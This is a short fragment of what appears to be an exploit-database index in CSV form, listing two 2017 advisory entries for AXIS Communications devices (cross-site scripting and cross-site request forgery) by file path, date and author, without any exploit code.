41625,exploits/hardware/webapps/41625.txt,"AXIS Communications - Cross-Site Scripting / Content Injection",2017-03-17,Orwelllabs,webapps,hardware,
|
||||
41626,exploits/hardware/webapps/41626.txt,"AXIS (Multiple Products) - Cross-Site Request Forgery",2017-03-17,Orwelllabs,webapps,hardware,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue